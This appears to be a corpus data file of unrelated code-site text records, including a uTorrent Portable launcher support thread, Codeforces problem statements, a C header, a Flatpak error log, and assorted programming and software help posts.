{"text": "Description: uTorrent is a torrent download manager.\nDownload uTorrent Portable Development Test 2 [211KB download / 761KB installed]\n1. install uTorrent Portable\n2. download uTorrent 1.8.x from http://www.utorrent.com/\n3. save 'utorrent.exe' to the 'App\\utorrent' directory\n4. (optional) download and save the help file to the 'App\\utorrent' directory\n5. run uTorrentPortable.exe\nPERFORM A NEW INSTALLATION, DO NOT UPGRADE AN OLDER VERSION FROM ANOTHER DEVELOPER. You may upgrade an existing installation from MY previous release, however.\nuTorrent does not allow manual editing of the settings.dat file (hash check), so this warning is very important for proper functioning of this launcher!!!\nDevelopment Test 2 (2008-09-30)\n- Added INI settings: uTorrentDirectory, SettingsDirectory, AdditionalParameters\nDevelopment Test 1 (2008-08-30)\n- Allow setting a different executable name.\nDevelopment Test 1 (2008-05-14): Initial release\n- Re-released with permission from Ryan McCue.\nSo, is there a reason why it would not work with the 1.8beta?\nYou could test it and find out\nBut I'm not going to waste my time with beta versions at the moment.\nI was just messing around with it and I found one thing you might want to change. The torrent files get copied into the app directory when you add them to the download list, shouldn't they be copied to the /Data/torrent folder when the program is closed? I have all my torrent files left in the app directory.\nDid you install this overtop of Ryan's version? If so, then the default settings file wasn't copied correctly.\nCan you check your settings and tell me where the program is set to save your torrents ('Other' section of settings dialog)? It should be -\nAlso check you didn't make other settings that override the default torrent save location.\nI never had it set to save the torrents anywhere. I just thought the launcher was set up so that any torrent files in the App folder would be copied to the torrent folder. I'll put in the save location. Will the launcher automatically change the drive letter for the save path or do I need to put in a relative path like you have above?\nYou didn't answer my question. Did you overwrite an old installation from Ryan's version?\nI ask because on a new install the default settings file is copied from DefaultData, which has all the relative paths correctly set.\nIt must be done this way because the settings file is more or less binary, and it would be unreliable to do a search-and-replace.\nBut yes, the save location should be a relative path exactly as I wrote it.\nTo finally answer your question, I did overwrite an old installation. But I don't see how this would have helped. I already had a settings file in the Data\\settings folder, so those settings would have never been updated to reflect the change you made for the torrent folder.\nWhich is exactly the issue....his updated launcher handles things differently, and he had relative paths properly working. Ryan's did not fully work this way. So without the new settings from DefaultData getting copied over, the new launcher was still working with the old settings.\nThe developer formerly known as ZGitRDun8705\nArrgghh that's the point!!!\nWhen you overwrite an old install it does not copy the default settings file. And it shouldn't, otherwise you'd lose your settings each time you upgraded.\nBut this is a new version, new launcher, etc. YOU MUST DO A FRESH INSTALL. This way all your default settings are correct from the beginning.\nFair enough. I must have missed the giant bold text in the original post.\nI'm upgrading from Ryan's version. I did a fresh install, but I would like to import the torrents I already have (some completed, some not). How would I do this?\nIncomplete torrents will probably not work because the \"resume.dat\" file has references to qualified paths in it that will not translate to the new relative paths.\nCompleted torrents should work if you place the torrent and data in the correct directories (Data\\torrents, Data\\download). When you re-add the torrent file, it should find the data in the new relative path (untested).\nIf I move my completed downloads to the downloads directory then re-add the torrents, it checks them and everything is fine and dandy.\nWould it be possible to update the launcher so the name of the exe can be changed. The ini file would be like most of the other programs on this site\nThis would give the user more options for computers that block utorrent.exe.\nYeah I can add that for the next version.\nShould the .torrent files be opened with utorrentportable.exe or utorrent.exe?\nbut why when i opened it with utorrentportable.exe, the file was not shown in the download list? is it normal to open the utorrentportable.exe and instead the one that is shown is the utorrent icon?\nI haven't tried it, but I assume you can add files to uTorrent by passing them as a commandline parameter? Maybe this is not the case.\nAt any rate, you should always open the app via the uTorrentPortable.exe launcher. Anything you pass to the launcher on the commandline will be passed on to uTorrent. Maybe you need another commandline switch to add the file? I don't know for sure.\nI'm using portable utorrent and its speed is awesome for me (100-150kbps). TQ wraithdu\n- Following your instruction I downloaded the help file (utorrent.chm) and saved it to App\\utorrent\\ but when I try to use the help it opens the faq page from the web site.\n- Other languages work, too.\nPlease add to your instructions:\n4a. (optional) download and save the language file to the same location\nCould your installer offer to download and save the needed files?\nWorks just like the older test version, even if you update uTorrent in the process.\nThe updated version is just a little more visually friendly.\nGame Monkey Likes You!\nI was just wondering if you were going to update this launcher for uTorrent 1.8. I know the new version works perfectly well with this launcher, but I was wondering if you could implement the ini changes so you can rename uTorrent.exe.\nNice, didn't know a new version was out. It's been in beta for AGES. I'll take a look at it this week.\nAny chance you updated the launcher? I was looking at it more closely and there are some changes to the structure that I think need to be made.\n1: There should be a Data\\settings folder and a Data\\torrents folder\n2: The torrents and settings are left in the app folder when the launcher is closed, these should be removed.\n3: The launcher should be updated to the latest version.\nI really hope you update this soon, it's driving me crazy.\nIf you have settings files and torrent files left in your app directory, you have done something wrong I'm afraid.\nNevermind though, I'm releasing the new launcher today. Follow the directions and try it out.\nI have followed the instructions, however when I click on \"uTorrentPortable\" in PAM nothing happens other than it shows the logo very briefly.\nIn PAM also see \"uTorrent\" when I click on it it ran the .exe file and installed in my USB drive.\nI am confused what's the purpose of \"uTorrentPortable\" in PAM. I am missing here someting and dont no what.\nIt's prolly at the bottom Right of your screen on the TaskBar\nI am not sure what ur suggesting. If ur pointing to the \"uTorrent\" icon in the taskbar then yes I can see that, because I am downloading a torrent, however that's not the issue.\nI am confused as to why I see \"uTorrent\" and \"uTorrentPortable\" both in PAM. I thought that \"uTorrentPortable\" is the launcher for \"uTorrent\" and that's why there's no reason (as I understand) for \"uTorrent\" to show in PAM.\nI think you have uTorrent.exe in the wrong folder, it sounds like you have it at X:\\PortableApps\\uTorrentPortable\\uTorrent.exe\nIt should be in the App\\utorrent folder at X:\\PortableApps\\uTorrentPortable\\App\\utorrent\\uTorrent.exe\nIf it is in that folder, the launcher will work properly.\nThanks Devo, that precisely was the problem.\nIs some one upgrading this or what?\nMay the Shwartz be with you\nYes, sorry, I've been busy at work and haven't had time. I promise I'll get to it over this weekend.\nUpdated, see first post, especially the RELEASE NOTES IN BOLD!!!\nI really wanted to be able to edit the settings.dat file on the fly to update the directory information, but uTorrent does a hash check on the settings files, and won't allow it. Sorry\nThank you very much.\nYeah very much.\nMay the Shwartz be with you\nJust tried this and noticed that in the settings directory there was .OLD files. Is there a reason for them?\nMay the Shwartz be with you\nThey are uTorrent created settings file backups. I'm not entirely sure of their purpose, so I left them intact. They were in previous versions as well.\nI would like to use the /HIDE option. Would this require a rebuild on the application launcher?\nDid you try it? Because the launcher passes commandline params to the main executable, always has.\nNicely done. I can't seem to find a thing wrong with this PROVIDED YOU FOLLOW THE INITIAL INSTALL INSTRUCTIONS! I installed fresh and deliberately installed over Ryan's package. Seems like all the problems people are having with this stem from overwriting Ryan's so follow the instructions and all works fine. Thanks for this.\nIs there any way to take that with me? No? Give me 10 minutes... Maybe an hour...\nI don't know if it's worth it do release a new launcher but I was just thinking you could update it so the ini could handle more parameters. I was thinking the ini could look something like this\nThis would allow more options to be specified in the ini so the user wouldn't have to change them in the Options menu of uTorrent. It also allows for command line parameters to be passed to the program without having to open up the command prompt window.\nI really appreciate your work on this, and hopefully you can update the launcher for the next version.\nSome yes, some no. I can add the AdditionalParameters entry (does anyone really use these anyway?).\nBut the uTorrent internal settings can only be changed from within the program if you want something different than what I've packaged. As I mentioned above, uTorrent does a hash check on the DAT file and any external tampering results in it being invalidated and a new DAT file created.\nAdded more INI settings. See first post.\nWhy exactly is this launcher only?\nsimple reason is that utorrent isn't open-source it's only freeware, hence the limitations of doing the launcher only until we can actually host freeware apps in the future.\nyour friendly neighbourhood moderator Zach Thibeau\nI'm not sure why I thought it was OSS when I posted that.\n[Link removed by mod Tim, your statements for your other recently posted download indicate that it was not legal, please demonstrate conclusively that this is legal before reposting]\ndownload it full and portable and 100% working\nI previously installed uTorrent but have since noticed its not actually portable. Then a couple of days ago I performed a complete recovery of my C: due to problems with wireless. This has caused the loss of all installed uTorrent files on C: so I looked up on your site for a portable launcher, lucky me, I found one!\nRight, so now I follow the instructions and this is what i've done:\n1. Installed uTorrent Portable Launcher\n2. Started Launcher as I thought it would ask me for the uTorrent.exe location so it could install to the appropiate folder.\n3. Moved my u-Torrent 1.8.2.exe into the specified folder - PortableApps\\uTorrentPortable\\Apps\\utorrent\\u-Torrent 1.8.2.exe\n4. Changed the .ini file - uTorrentExecutableFile=u-Torrent 1.8.2.exe\nThen tried again but still not working. Am I missing something, or have I done something wrong?\nOh, just in case someone suggests it, no it's not in the system tray.\nEDIT: OK I figured out I can simply copy the entire contents of %AppData%\\uTorrent into the same folder as utorrent.exe. As stated on uTorrent Website.\nLive for an ideal and leave no place in the mind for anything else.\nI'm guessing that you somehow named it 'uTorrentExecutableFile' by accident? Maybe just a typo? Didn't copy the INI file to the correct location? Who knows. Why not just follow the instructions as I've written them? It's easier that way.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2859, "token_count_with_eod": 2860, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Sasha has an array of integers a1, a2, ..., an. You have to perform m queries. There might be queries of two types:\n\n1. 1 l r x — increase all integers on the segment from l to r by values x;\n2. 2 l r — find $$\\sum_{i=l}^{r} f(a_i)$$, where f(x) is the x-th Fibonacci number. As this number may be large, you only have to find it modulo 109 + 7.\n\nIn this problem we define Fibonacci numbers as follows: f(1) = 1, f(2) = 1, f(x) = f(x - 1) + f(x - 2) for all x > 2.\n\nSasha is a very talented boy and he managed to perform all queries in five seconds. Will you be able to write the program that performs as well as Sasha?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "There is no exact number of times.\nYou can take the Technical Check-in as many times as you want. If you do not pass our technical assessment, we will provide you with feedback on how to improve.\nIf you have interviewed several times without making much progress, we may ask you to reapply.\nThis is based on our perception of your technical ability rather than a magic number you have reached. We do need to see some improvement in each interview in order to continue the interview process, however. If we feel that progress between interviews is not sufficient, we may ask that you take an extended break from the interview process to revisit the basics.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 132, "token_count_with_eod": 133, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi guys, newbie here. Needed to help on this, not sure if it is possible to acheive.\nI am trying to do a time shift in freq domain on one of the audio so this part of the code i did so far. reading an audio can put into window frame form.\n[data,fs] = audioread('audio.wav');\nno_frame = 10;\ndatalength = length(data);\nframesize = floor(datalength/no_frame);\ntemp = 0\nfor i = 1 : no_frame\nframes(i,:) = data(temp + 1 : temp + framesize);\ntemp = temp + framesize;\ntried doing this line but seem to have problem:\ny(i,:) = yp(i,:).*exp(-j*2*pi*f*(1/fs));\nAppreatiate any suggestion. Thank you.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I recently updated my antergos installation, and where the lightdm used to be… is a black screen with the mouse pointer. I read some of the other forums regarding this issue and fixed it by replacing lightdm with gdm.\nEverything seems to be in working order, but is there anything in the future I should be concerned about regarding libraries, dependencies, broken packages? Thanks for your help! I’m not new to Linux, but the more I learn the more I realize how little I know!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I’m currently investigating migration of mammalian cells guided by directional external stimuli. One project focuses on mathematical modeling and parameter inference to understand how a directional external cue induces biased cell motion. In another project I’m using modern image analysis tools based on machine learning to understand how cell morphology and cell deformation determines cell motility. The aim of these projects is to shed light into how cytoskeleton regulation and activity enable cells to migrate following gradients of external cues. This knowledge will contribute to understand health related processes that rely on directed cell migration such as cancer metastasis, wound healing, and immune response.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given $$$m$$$ strings and a tree on $$$n$$$ nodes. Each edge has some letter written on it.\n\nYou have to answer $$$q$$$ queries. Each query is described by $$$4$$$ integers $$$u$$$, $$$v$$$, $$$l$$$ and $$$r$$$. The answer to the query is the total number of occurrences of $$$str(u,v)$$$ in strings with indices from $$$l$$$ to $$$r$$$. $$$str(u,v)$$$ is defined as the string that is made by concatenating letters written on the edges on the shortest path from $$$u$$$ to $$$v$$$ (in order that they are traversed).", "source": "cpt_codeforces", "language": "en", "token_count": 134, "token_count_with_eod": 135, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "There are b blocks of digits. Each one consisting of the same n digits, which are given to you in the input. Wet Shark must choose exactly one digit from each block and concatenate all of those digits together to form one large integer. For example, if he chooses digit 1 from the first block and digit 2 from the second block, he gets the integer 12.\n\nWet Shark then takes this number modulo x. Please, tell him how many ways he can choose one digit from each block so that he gets exactly k as the final result. As this number may be too large, print it modulo 109 + 7.\n\nNote, that the number of ways to choose some digit in the block is equal to the number of it's occurrences. For example, there are 3 ways to choose digit 5 from block 3 5 6 7 8 9 5 1 1 1 1 5.", "source": "cpt_codeforces", "language": "en", "token_count": 199, "token_count_with_eod": 200, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "//Your byte array should not have any other reference and only reference should be set to null\nyourByteArray = null;\n//Then trigger GC manually to free up memory\nTrouble logging in? Simply enter your email address OR username in order to reset your password.\nFor faster and more reliable delivery, add firstname.lastname@example.org to your trusted senders list in your email software.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 78, "token_count_with_eod": 79, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I just searched the forums but couldn’'t find anything.\nOn my jabber server (Openfire 3.3.1) I use the Multi User Chat feature. But unfortunately I don’'t see which users are online. This is happens with any client (I tried Gaim2b6, Pidgin, Gajim and jwchat). There are also no notifications about users entering a chatroom, but a notification about leaving users.\nIn the server’'s admin console I can see which users are online.\nWell, this is of course inconvenient for my users. How can this be fixed? Is this a problem of the server or the clients?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 141, "token_count_with_eod": 142, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi! You know how in Microsoft Word when you type a bunch of dashed lines then hit enter, the dashed lines become one straight line?\nI'm trying to do that in Photoshop CC 2018 with the type tool. I want to TYPE the line within a text box, NOT draw it with the line tool. This is because I'd want the line/separator to adjust if I change any text above or below it.\nAnd while I'm at it, I used to be able to preview any changes I make while I adjust things like line spacing, text size, etc in Photoshop CS6, but now it doesn't work in CC? For example, If I scrub along the font size, the text changes size in REAL TIME. Now I have to hit enter on the font size before the change is reflected on the text (same for line spacing, layer opacity, etc). Is there a setting for this?\nIs this what you're looking to achieve. if so just use the Shift + minus key, not the minus key on the numeric pad\nAnswer to your second question, this is a bug in CC2018 19.0.1", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 241, "token_count_with_eod": 242, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "My five-year-old son wanted to make an arrow. I one-upped him by making four arrows. He liked the shape and called it an “everywhere pointer.”\nWe can make this with the following code:\nfracture = 0.1 length = 14 width = 4 pointiness = 15 nsides = 20 shaftToHeadAngle = 110 barbAngle = 135 arrow = -- Right upright. move length -- Start arrowhead. yaw shaftToHeadAngle move width -- Head to point. yaw -1 * barbAngle move pointiness -- We just hit the point. Now return. yaw -1 * (180.0 - 2 * (barbAngle - shaftToHeadAngle)) move pointiness -- Finish arrow head. yaw -1 * barbAngle move width -- Left upright. yaw shaftToHeadAngle move length end moveto 0 0 0 repeat 4 arrow yaw 90 end tube\nThis code makes me realize I should try to add the unary negation operator. Right now I have to verbosely multiply by -1. Finding a general solution to the angles was another good geometry exercise.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Ah! You're right, I switched the two cases in the if statement around. Sorry for that, I just edited the original post. It should now work as intended, which is in plain language this: You eval a field \"200_event\" to contain a 1 each time a successfull login takes place, and then you keep a running total (the \"id\" field) of these events. This is useful because each time you have one of those 200 events, you can conclude that the last 401 has successfully been answered. This in turn means that a running count of the same attempt without a successful 200 answer (i.e. no change in the \"id\" field) can help you track down someone with multiple unsuccessful attempts.\nIf that didn't clear things up enough, feel free to ask further 🙂", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I just got this problem when I started using may laptop again after quite some time now. Icons are flashing and I can't click on the folders on the homepage. It disappears for some time but goes back as well. What could possibly be the problem?\nAny one?Really much appreciated.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 59, "token_count_with_eod": 60, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I’m trying to install Signal via Flatpak from Flathub, but it fails with a generic permission denied error and no other details. Does anybody have any ideas on how to solve this problem or even debug it? Thanks in advance for any ideas / suggestions.\nHere’s the transcript:\n$ flatpak -vv --ostree-verbose install --user flathub org.signal.Signal F: Opening user flatpak installation at path /home/barnard/.local/share/flatpak Looking for matches… F: No installations directory in /etc/flatpak/installations.d. Skipping F: Fetching summary file for remote ‘flathub’ F: Adding GPG keyring data from flathub.trustedkeys.gpg to verifier F: GnuPG >= 2.1.17, skipping gpg-agent cleanup in /tmp/ostree-gpg-SSfM7v F: Fetching summary file for remote ‘flathub’ F: Adding GPG keyring data from flathub.trustedkeys.gpg to verifier F: GnuPG >= 2.1.17, skipping gpg-agent cleanup in /tmp/ostree-gpg-Udyxuw F: Transaction: install flathub:app/org.signal.Signal/x86_64/stable[*] F: Looking for remote metadata updates for flathub F: marking op install:app/org.signal.Signal/x86_64/stable resolved to 0a13bd1bc332a90a9718c82d6ed1170ef0ffc4164be34cca4c1e694cb8243eeb F: Updating dependent runtime runtime/org.freedesktop.Platform/x86_64/20.08 F: Transaction: update flathub:runtime/org.freedesktop.Platform/x86_64/20.08[$old] F: marking op update:runtime/org.freedesktop.Platform/x86_64/20.08 resolved to 99666aa95651104a247e446309140c3641d0f43902240b57de11657a2fc1944f F: Transaction: install/update flathub:runtime/org.freedesktop.Platform.GL.default/x86_64/20.08[*] F: Transaction: install/update flathub:runtime/org.freedesktop.Platform.Locale/x86_64/20.08[/en] F: Transaction: install/update flathub:runtime/org.freedesktop.Platform.openh264/x86_64/2.0[*] F: marking op install/update:runtime/org.freedesktop.Platform.openh264/x86_64/2.0 resolved to 73f998362a6fc0d57e0c7e83e928d32b0ec14d10d0d94291033976bdcecc6b6b F: marking op install/update:runtime/org.freedesktop.Platform.Locale/x86_64/20.08 resolved to e59956b0c9e66dbba44122d8130c3ef009d66b6259e20a29c4f6aa4347316238 F: marking op install/update:runtime/org.freedesktop.Platform.GL.default/x86_64/20.08 resolved to 82a8e234463fcb58ccd655b09dafbfe751ea785816c0927053f2a6a9a8fad73d org.signal.Signal permissions: ipc network pulseaudio x11 devices file access  dbus access  bus ownership   xdg-desktop, xdg-documents, xdg-download, xdg-music, xdg-pictures, xdg-public-share, xdg-videos  org.freedesktop.Notifications, org.kde.StatusNotifierWatcher  org.kde.StatusNotifierItem-2-1 1. org.signal.Signal stable i flathub < 150.1 MB Proceed with these changes to the user installation? [Y/n]: yes Installing… F: flatpak_dir_pull: Using commit 0a13bd1bc332a90a9718c82d6ed1170ef0ffc4164be34cca4c1e694cb8243eeb for pull of ref app/org.signal.Signal/x86_64/stable from remote flathub F: Preparing transaction in repository 0x55c63bd8e2c0 F: Pushing lock non-blocking with timeout 30 F: Creating repo lock table F: Opening repo lock file F: Push lock: state=unlocked, depth=0 F: Locking repo shared F: Using new tmpdir staging-58f97122-10a6-40ab-bb6c-2e9486b51a14-sVuDBb F: Loaded flathub summary from cache F: Adding GPG keyring data from flathub.trustedkeys.gpg to verifier F: GnuPG >= 2.1.17, skipping gpg-agent cleanup in /tmp/ostree-gpg-iKbURx Installing… 0% 0 bytes/sF: starting fetch of 0a13bd1bc332a90a9718c82d6ed1170ef0ffc4164be34cca4c1e694cb8243eeb.commit (detached) F: fetch of 0a13bd1bc332a90a9718c82d6ed1170ef0ffc4164be34cca4c1e694cb8243eeb.commit (detached) complete F: _ostree_fetcher_should_retry_request: error: unset, n_retries_remaining: 5 F: Adding GPG keyring data from flathub.trustedkeys.gpg to verifier F: GnuPG >= 2.1.17, skipping gpg-agent cleanup in /tmp/ostree-gpg-0FHe6x F: pull: idle, exiting mainloop Installing… ████████████████████ 100%F: Committing transaction in repository 0x55c63bd8e2c0 F: txn commit staging-58f97122-10a6-40ab-bb6c-2e9486b51a14-sVuDBb F: Popping lock non-blocking with timeout 30 F: Pop lock: state=shared, depth=1 F: Unlocking repo F: No checksum specified, getting tip of app/org.signal.Signal/x86_64/stable from origin flathub F: tip resolved to: 0a13bd1bc332a90a9718c82d6ed1170ef0ffc4164be34cca4c1e694cb8243eeb Error: Permission denied F: Free lock: state=unlocked, depth=0 F: Closing repo lock file F: Free lock table error: Failed to install org.signal.Signal: Permission denied\nI upgraded Flatpak from 1.2.5 to 1.8.2 to avoid a umask issue fixed in 1.3.3, but that did not appear to help. I also ran\nrestorecon -Rv ~/.local, but that did not appear to help either.\nPossibly relevant details:\n$ umask 0077 $ uname -a Linux <host> 5.8.18-300.fc33.x86_64 #1 SMP Mon Nov 2 19:09:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1824, "token_count_with_eod": 1825, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Topic: iRedMail Easy & postfix main.cf\nAfter deploying iRedMail Easy I see I could of used my postfix main.cf file in custom location which would be symbolic linked to /etc/postfix/main.cf. I prefer to have a file to manually edit;\nCan I manually create a conf file here /opt/iredmail/custom/postfix/main.cf (symbolic link /etc/postfix/main.cf to this) and edit this as a normal main.cf file? Will my changes to this file be persistent during upgrades? Or must I use custom.sh to execute commands (which populates /etc/postfix/main.cf.iredmail)?\nThe same for master.cf also?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 138, "token_count_with_eod": 139, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am Associate Professor of Quantitative Comparative Politics at Durham University, School of Government and International Affairs (SGIA). Before that, I was Economics of Conflict Fellow (with ESOC) at Princeton University and International Crisis Group and Postdoctoral Research Fellow at the University of Oxford. I hold a Ph.D. from the London School of Economics and Political Science.\nIn my research, I investigate topics relating to development, conflict and security, and natural resources and the environment.\nI authored a paper on so-called ‘conflict diamonds’ and a paper asking how drone strikes killing terrorist leaders affect terrorist attacks and one on a civilian protection militia in South Sudan. I’ve worked on a Randomized Controlled Trial investigating whether community monitoring can decrease deforestation in Uganda (part of Metaketa III), a lab-in-the-field experiment designed to reveal how recalling violent conflict changes individual prosocial behaviour and on a project on conflict between industrial and artisanal miners in Sub-Saharan Africa.\nIn 2023-2024, I will teach on the following courses at SGIA:\n- SGIA3681 Poverty or Prosperity? The political economy of development", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 236, "token_count_with_eod": 237, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "When creating custom screens in SAP Sales Cloud that contain more screen elements than average, you might want to create order in the chaos of UI elements on screen. You can statically show or hide UI elements on you custom screen. But there is a simple way to dynamically show or hide UI elements in the PDI. In our example, we have multiple search types. Depending on the search type, you want to show or hide certain result tables.\nIn this example we have already created a custom screen (Embedded Component) with a screen element that contains the current Search Type. The value for the Search Type is exposed in the data model for our screen:\nNow, for a UI element that we would like to show or hide, we go to the visibility property in the Designer View and select ‘Calculation Rule’:\nThe calculation rule window will pop up. Since we exposed our Search Type variable in the data model we can refer to it in our calculation rule logic:\nThe script in the screenshot above is a so called front-end script. It is the programming language used in the user interface designer (UI designer) to define a set of rules and the logic of the behavior of UI controls. The code snippet can be found below.\nif ( search_type ==\"1\" )\nresult = true\nresult = false\nIn the Calculation Rule the result variable determines if the specific UI element will be visible or not. In this particular case the logic is quite straightforward and the UI element will only be visible when the Search Type is ‘1’. In case more complex logic is required I would recommend chapter Front-End Script for the UI Designer from the Cloud Application Studio documentation, which elaborates on the front-end script syntax.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 346, "token_count_with_eod": 347, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have a requirement where I get xml documents from Kafka. Each xml document contains 5 arrays. Each array should go into a specific table in Sql Server. I am thinking of converting xml into json and use ConvertJsonToSql processor. (Please provide a better approach). As ConvertJsonToSql processor takes only one array, I am looking for a way to split the source document into 5 plain documents (one for each array) and use 5 ConvertJsonToSql processors. I am not clear how the transactions work in Nifi. All inserts into these 5 tables should happen in a single transaction for a document. I have been struggling to get clarity on approach. Can you please help me?\nThanks in advance.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have a Mac mini with High Sierra (10.13.4) with a Windows-keyboard (it has a numpad).\nEverything went fine for a long time but a few months ago I got a big problem: In many apps (Calculator, Excel, etc.) when I want to write for example \"567\" with the numpad, the number I push overwrites the last number. So if I push 5, 6 and 7, than instead of \"567\" it just shows a 7 (because the 6 overwrites the 5, and the 7 overwrites the 6).\nIn some apps however it works fine, for example in TextEdit or Firefox...\nI probably just pushed some keyboard-shortcut which made this issue, but it really makes me go crazy. Could you please help me?\nThank you very much!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 186, "token_count_with_eod": 187, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "- Release Notes\n- Get Started\n- Project Planning\n- Account Settings\nFollow these general file preparation and optimization guidelines when getting ready to build your demo:\n- Keep in mind that there are different output file size limitations for demos made for different platforms.\n- Record and export video, music, and sound effect as separate files. See also the tips for video and audio recording and editing.\n- Don’t compress video assets and high-encoded videos when building a demo. All video assets in Studio are automatically spliced and compressed to RF 26 + 30 FPS for publishing.\n- Compress your static assets like images and fonts before importing them to Studio.\n- If you need to optimize your assets, consider using programs like ImageOptim for image compression and Handbrake for video compression.\n- Organize your files in a single location and name them to reflect the associated scenes and transitions in the storyboard. See also File Naming Conventions below.\nExported video files should be H.264 codec, 30 FPS, and have high resolution of 1920 x 1080.\nSee also Video Recording Tips.\nMono channel and 96 kbps are recommended.\nSee also Audio Recording Tips.\n|Compress all font assets before importing them to Studio.|\nTo expedite the demo creation process, maintain consistent naming conventions for your assets to help you recognize them, for example, when you need to select them from menus in different panels.\n- Avoid using spaces or special characters. If needed, use hyphens or underscores in place of spaces.\n- Omit articles, prepositions, and other insignificant words.\n- Avoid using ALL CAPS. Use title case to help you distinguish between the words.\n- Use meaningful, easy-to-recognize names for asset files to reflect their contents and purpose in the demo, for example:\n- Avoid using acronyms and abbreviations. If you choose to use them, opt only for commonly known ones, for example, CTA for a “call to action” or SFX for “sound effects,” especially if you are preparing files for another person to use.\n- Avoid numbering files starting with 01 or a similar prefix. While it may help you sort the files initially, issues may arise if you need to add assets at a later time. In Studio, you can use the search field in the Assets panel to find the necessary files.\n- Don’t include asset types in file names, for example:\n- DO: Move1-Loop, Move1-Action, CTA-Button\n- DON’T: Move1-Loop-Video, Move1-Action-Sound, CTA-Button-Image\nMedia asset types are indicated by icons in the Assets panel, labels in the UI, such as Play Video actions, and their file extensions.\n- Use the same file name for assets that are intended to be used in the same scene, for example:\n- DO: Move1-Action for both video and sound effect\n- DON’T: Move1-Action-Video and Move1-Action-Sound\nThe file extensions will help you distinguish between Move1-Action.mp4 and Move1-Action.mp3.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 671, "token_count_with_eod": 672, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Note that the memory limit is unusual.\n\nYou are given a multiset consisting of $$$n$$$ integers. You have to process queries of two types:\n\n- add integer $$$k$$$ into the multiset;\n- find the $$$k$$$-th order statistics in the multiset and remove it.\n\n$$$k$$$-th order statistics in the multiset is the $$$k$$$-th element in the sorted list of all elements of the multiset. For example, if the multiset contains elements $$$1$$$, $$$4$$$, $$$2$$$, $$$1$$$, $$$4$$$, $$$5$$$, $$$7$$$, and $$$k = 3$$$, then you have to find the $$$3$$$-rd element in $$$[1, 1, 2, 4, 4, 5, 7]$$$, which is $$$2$$$. If you try to delete an element which occurs multiple times in the multiset, only one occurence is removed.\n\nAfter processing all queries, print any number belonging to the multiset, or say that it is empty.", "source": "cpt_codeforces", "language": "en", "token_count": 227, "token_count_with_eod": 228, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#pragma once\n#ifndef GPU_API_H\n#define GPU_API_H\n\n#include \"mana/core/memoryallocator.h\"\n//\n#include <vulkan/vulkan.h>\n\n#include \"mana/core/vulkancore.h\"\n\nstruct GraphicsLibrary;\n\nenum GPU_API_STATUS {\n  GPU_API_SUCCESS = 0,\n  GPU_API_VULKAN_ERROR,\n  GPU_API_LAST_ERROR\n};\n\nenum APIType { VULKAN_API = 0 };\n\nstruct GPUAPI {\n  union {\n    struct VulkanState* vulkan_state;\n  };\n  enum APIType type;\n};\n\nint gpu_api_init(struct GPUAPI* gpu_api, enum APIType gpu_api_type, struct GraphicsLibrary* graphics_library, const char** graphics_lbrary_extensions, uint32_t* graphics_library_extension_count);\nvoid gpu_api_delete(struct GPUAPI* gpu_api);\n\n#endif  // GPU_API_H", "source": "cpt_stack_code", "language": "code", "token_count": 188, "token_count_with_eod": 189, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "A bane's profile is pretty blank, just stating only the most basic facts. Reinstating everything to be like it was is turing out to be more than just copying and pasting. Something that simple implies picking up where I left off before.\nIt is different now and it seems like the change in me deserves a new profile. It isn't so easy though. It isn't my profile, it belongs to Mistress.\nI guess if it were mine, I'd probably change the text on the main page of it, maybe do a pick and delete the rest. Maybe just leaving it all blank is more of a symbol that it doesn't belong to me - a symbol to me at least.\nI have got to be making this too hard. I don't want to have endured that awful suit and appear to have emerged the same as I was going in. I don't know... I'll ask Mistress what she would like in her slave's profile.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 197, "token_count_with_eod": 198, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
